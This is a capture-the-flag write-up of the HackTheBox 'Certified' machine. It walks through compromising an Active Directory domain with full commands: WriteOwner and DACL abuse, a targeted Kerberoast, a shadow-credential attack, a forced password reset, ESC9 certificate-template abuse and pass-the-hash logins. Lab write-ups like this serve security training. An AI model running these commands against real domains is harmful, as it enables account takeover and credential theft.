Certified
Created by ruycr4ft
The following post by 0xb0b is licensed under CC BY 4.0
Summary
We started with an Nmap scan revealing typical Active Directory services, then used the provided credentials for judith.mader to gather AD relationships with BloodHound. Judith had WriteOwner permissions on the Management group, allowing us to take ownership and grant GenericWrite over the management_svc user. We successfully performed a shadow credential attack to retrieve the NT hash and gain a shell with evil-winrm. We escalated to the ca_operator account using GenericAll permissions, changed the password, and exploited an ESC9 misconfiguration in the certificate template to obtain the Administrator hash and gain a shell as Administrator with evil-winrm.
Recon
We start with a Nmap scan which revealed multiple services typical of an Active Directory environment, including DNS (53), Kerberos (88), SMB (445), LDAP (389, 636), and Global Catalog (3268, 3269).
nmap -p- certified.htb -Pn

nmap -p 53,88,135,139,389,445,593,636,3268,3269,49666,49677,49678,49681,49708,49731 -sC -sV certified.htb -T4 -Pn

We have received additional credentials for the machine:
As is common in real life Windows pentests, you will start the Certified box with credentials for the following account: judith.mader:judith09
We are using bloodhound-python
to gather and map Active Directory relationships and permissions on the certified.htb
domain, authenticating as judith.mader
to identify privilege escalation paths.
bloodhound-python -d certified.htb -c All -u 'judith.mader' -p 'judith09' -ns 10.129.68.162 --dns-tcp

We see that judith.mader
WriteOwner has permissions on the Management
group.
WriteOwner Permissions:
With that we can update the owner of the target object. Since we have credentials for judith.mader
we could grant us ownership over the group Management
and add the account to the group.
We also see that the Management
group has permissions on the GenericWrite user. This means that if we have control of the group, we can perform either a targeted Kerberoast attack or a shadow credential attack on the management_svc
user granting us the hash of the user.
The user management_svc
, on the other hand, has CanPSRemote permissions, which would allow us to access the machine with evilwin-rm if we compromised the user.

Shell As management_svc
We implement the analysed attack path.
WriteOwner Abuse
First we add judith.mader
as owner to Management group.
owneredit.py -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'

Since we now own the group, we can now give the user permission to add members via dacledit
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'

After that we add judith.mader
as member to the Management
group.
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.68.162"

GenericWrite Abuse
As the user is now part of the group, we can abuse the GenericWrite permission on the management_svc
user, which the Management group has. First we will try a targeted Kerberoast attack. See below links for further reading:
We are able to get the Kerberos 5, etype 23, TGS-REP hash of the management_svc
user. However, we cannot crack it.
./targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09' --request-user MANAGEMENT_SVC

Next, we try the shadow credential attack using certipy.
Further information on the shadow credential attack can be found under the following link:
But in short: If we can write to the msDS-KeyCredentialLink property of a user, we can retrieve the NT hash of that user.
With the following command we issue the attack and are succesful. We retrieve the NT hash of management_svc
.
certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -account 'MANAGEMENT_SVC' -dc-ip 10.129.68.162

We use that hash to log in as management_svc
via evil-winrm and find the flag at C:\Users\management_svc\Desktop\user.txt
.
evil-winrm -i certified.htb -u management_svc -H 'REDACTED'

Shell as Administrator
Since the machine is called Certified, we have tested for vulnerabilities on certificate templates with each user we have access to using certipy. However, the user management_svc
also does not have any templates that are vulnerable and can be used by the user.
certipy-ad find -u management_svc@certified.htb -hashes ':REDACTED' -dc-ip 10.129.68.162 -vulnerable

We look at our Bloodhound results again and see that we have GenericAll permissions over the user CA_Operator
as management_svc
.

This allows us to change the user's password.
We use bloodyAD for this.

We change the password.
./bloodyAD.py -d certified.htb -u management_svc -p ":REDACTED" --host 10.129.68.162 set password ca_operator 'newP@ssword2022'

Now we are able to query for vulnerable templates as ca_operator
.
certipy-ad find -u ca_operator@certified.htb -p 'newP@ssword2022' -dc-ip 10.129.68.162 -vulnerable

An we spot one:
┌──(0xb0b㉿kali)-[~/Documents/htb-app/certified/bloodyAD]
└─$ cat 20250315144904_Certipy.txt
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Property Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
The CertifiedAuthentication
template is vulnerable to ESC9
.
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
For further reading on ESC9 we can follow the link below:
ESC9 refers to the new
msPKI-Enrollment-Flag
valueCT_FLAG_NO_SECURITY_EXTENSION
(0x80000
). If this flag is set on a certificate template, the newszOID_NTDS_CA_SECURITY_EXT
security extension will not be embedded. ESC9 is only useful whenStrongCertificateBindingEnforcement
is set to1
(default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.
To abuse this misconfiguration, the attacker needs
GenericWrite
over any account A that is allowed to enroll in the certificate template to compromise account B (target).
ESC9Conditions:
StrongCertificateBindingEnforcement
set to1
(default) or0
Certificate contains the
CT_FLAG_NO_SECURITY_EXTENSION
flag in themsPKI-Enrollment-Flag
valueCertificate specifies any client authentication EKU
Requisites:
GenericWrite
over any account A to compromise any account B
ESC9
We follow the example of https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 and update account management_svc
with upn pointing to Administrator
.
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn Administrator

Then we request vulnerable template, but receive an error. This might be cause by the password, since with a different it worked.

We change the password for ca_operator
again.
python bloodyAD.py --host "certified.htb" -d certified.htb -u management_svc -p :REDACTED set password ca_operator 'Password123@'
Below are the steps to abuse ESC9:
We change the userPrincipalName
of ca_operator
to be Administrator
.
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn Administrator
We request the vulnerable certificate template CertifiedAuthentication
(ESC9
).
certipy-ad req -username ca_operator@certified.htb -p 'Password123@' -ca certified-DC01-CA -template CertifiedAuthentication
Then, we change back the userPrincipalName
of ca_operator
back to ca_operator
.
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn ca_operator@certified.htb
Now, if we try to authenticate with the certificate, we will receive the NT hash of the Administrator@certified.htb
user. We need to add -domain certified.htb
to our command since there is no domain specified in the certificate. We receive the Administrators hash.
certipy-ad auth -pfx administrator.pfx -domain certified.htb

We use the Administrators NT hash to log in via evil-winrm and find the final flag at C:\Users\Administrator\Desktop\root.txt
.
evil-winrm -i certified.htb -u Administrator -H 'REDACTED'

Last updated
Was this helpful?